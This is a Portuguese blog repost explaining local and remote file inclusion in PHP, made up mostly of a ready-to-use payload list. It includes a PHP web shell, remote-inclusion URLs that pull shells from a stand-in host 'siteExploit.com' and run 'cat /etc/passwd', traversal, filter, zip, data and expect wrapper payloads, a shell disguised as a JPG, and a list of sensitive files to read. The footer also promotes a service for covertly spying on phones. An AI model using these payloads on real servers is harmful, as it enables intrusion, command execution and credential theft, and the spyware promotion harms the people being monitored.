RFI/LFI Payload List, saiba mais

Local File Inclusion (LFI), Remote File Inclusion (RFI)

Para exemplificar a exploração da vulnerabilidade de Local File Inclusion (LFI), Remote File Inclusion (RFI) e Directory Traversal:

remote-file-inclusion-vulnerability

A Inclusão remota de arquivo (RFI) é um tipo de vulnerabilidade mais frequentemente encontrada em sites em execução em PHP. Ele permite que um invasor inclua um arquivo hospedado remotamente, geralmente por meio de um script no servidor da web. A vulnerabilidade ocorre devido ao uso de entrada fornecida pelo usuário sem validação adequada.

local-file-inclusion-vulnerability

A inclusão local de arquivos (LFI) é muito parecida com a RFI; a única diferença é que, no LFI, o invasor precisa carregar o script malicioso no servidor de destino para ser executado localmente.

Vejamos alguns dos códigos que possibilitam explorações de RFI / LFI.
< a href=index.php?page=file1.php> Files
< ? php $ page = $ _GET [page]; include ($ page); ?
>

Agora, obviamente, isso não deve ser usado. O input da $page não está totalmente limpa. A input $page é incluído diretamente na function include, que é um grande “ERRO”. Sempre filtre qualquer entrada que passe pelo navegador. Quando o usuário clica em “Arquivo” para visitar “files.php” quando visita a página da Web, algo como isso aparecerá.

http: //localhost/index.php? page = files.php

Agora, se ninguém limpou a entrada na variável $page, podemos apontá-la para o que queremos. Se hospedado em um servidor unix / linux, podemos exibir a senha como arquivos de configuração para o input não limpo.
A visualização de arquivos no servidor é uma “Inclusão de arquivo local” ou uma exploração do LFI. Isso não é pior do que uma exploração de RFI.

http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc / passwd

O código provavelmente retornará o arquivo / etc / passwd. Agora, vamos ver o aspecto RFI dessa exploração. Vamos pegar alguns dos códigos que adotamos antes.

< a href=index.php?page=file1.php> Files
< ? php $ page = $ _GET [page]; include ($ page); ?
>

Agora, suponha que escrevamos algo como …

http: //localhost/index.php? page = http: //google.com/

Provavelmente, onde a variável $page foi originalmente incluida na página, obtemos a página inicial google.com. É aqui que o codificador pode ser exploitado. Todos sabemos o que o c99 (shell) pode fazer e eles podem ser incluídos na página, permitindo que os usuários naveguem por arquivos e contatos confidenciais no momento apropriado. Vejamos algo mais simples que pode acontecer em uma página da web. O uso mais rápido e sujo da exploração de RFI é a sua vantagem. Agora, crie um arquivo chamado “test.php” e coloque o seguinte código nele e salve-o.

< ? php system ($ _ GET [cmd]); ? >

Agora, esse arquivo é algo que você pode usar a seu favor para incluí-lo em uma página com exploração de RFI. O comando system () no PHP é ótimo para esse tipo de ação. Com esse código em test.php, podemos enviar uma solicitação para a página da web, e o resultado será a execução da function system.

http: //localhost/index.php? page = http: //siteExploit.com/test.php

Quando o código faz uma solicitação $ _GET, devemos fornecer um comando para passar para system (). Nós podemos fazer algo assim.

http: //localhost/index.php? page = http: //siteExploit.com/test.php? cmd = cat / etc / passwd

Esta máquina unix também extrairá o arquivo / etc / passwd usando o comando cat. Agora sabemos como explorar o RFI exploit, agora precisamos saber como mantê-lo e impossibilitar a execução do comando por alguém, e como incluir páginas remotas no servidor. Primeiro, podemos desativar o system (). mas você ṕode ativa-lo novamente (espero que não). Sugiro limpar as entradas como eu disse antes. Agora, em vez de apenas passar variáveis diretamente para a página, podemos usar algumas estruturas propostas pelo PHP nas funções. Inicialmente, chop () do perl foi adaptado ao PHP, o que remove os espaços em branco de uma matriz (Ajuda, mas nunca será solução)

Agora vamos observar alguns exemplos de exploração
Básico LFI (null byte, double encoding and other tricks) :

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=….//….//etc/passwd

Arquivos interessantes para checar durante a exploração

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]
/fd/[0-9] (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline

Basico RFI (null byte, double encoding and other tricks) :

http://example.com/index.php?page=http://siteExploit.com/shell.txt
http://example.com/index.php?page=http://siteExploit.com/shell.txt
http://example.com/index.php?page=http:%252f%252fsiteExploit.com%252fshell.txt

LFI / RFI: Wrapper
O LFI Wrapper rot13 e base64 – php: // fazem distinção entre maiúsculas e minúsculas.

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Pode ser concatenado com um wrapper de compactação.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

LFI Wrapper ZIP :

echo "< / pre > < ? php system ($_GET['cmd']); ?> < / pre >" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php

RFI Wrapper DATA with “” payload :

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

RFI Wrapper EXPECT :

http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

XSS via RFI/LFI with “” payload :

http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

LFI to RCE via /proc/*/fd :

Upload a lot of shells (for example : 100) Include http://example.com/index.php?page=/proc/$PID/fd/$FD with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via Upload :

http://example.com/index.php?page=path/to/uploaded/file.png

FONTE: https://github.com/payloadbox/rfi-lfi-payload-list
References :
Testing for Local File Inclusion
Wikipedia
Remote File Inclusion
Wikipedia: “Remote File Inclusion”
PHP File Inclusion
https://security.radware.com/ddos-knowledge-center/ddospedia/rfi-lfi/

O post RFI/LFI Payload List, saiba mais apareceu primeiro em Mundo Hacker.




Fonte: http://feedproxy.google.com/~r/mundohackeroficial/~3/rmMVoERXXmE/
RFI/LFI Payload List, saiba mais RFI/LFI Payload List, saiba mais Reviewed by MeuSPY on novembro 16, 2019 Rating: 5

Nenhum comentário:

Antes de deixar um comentário, acesse o site meuspy.com e veja como é fácil espionar celulares.

Tecnologia do Blogger.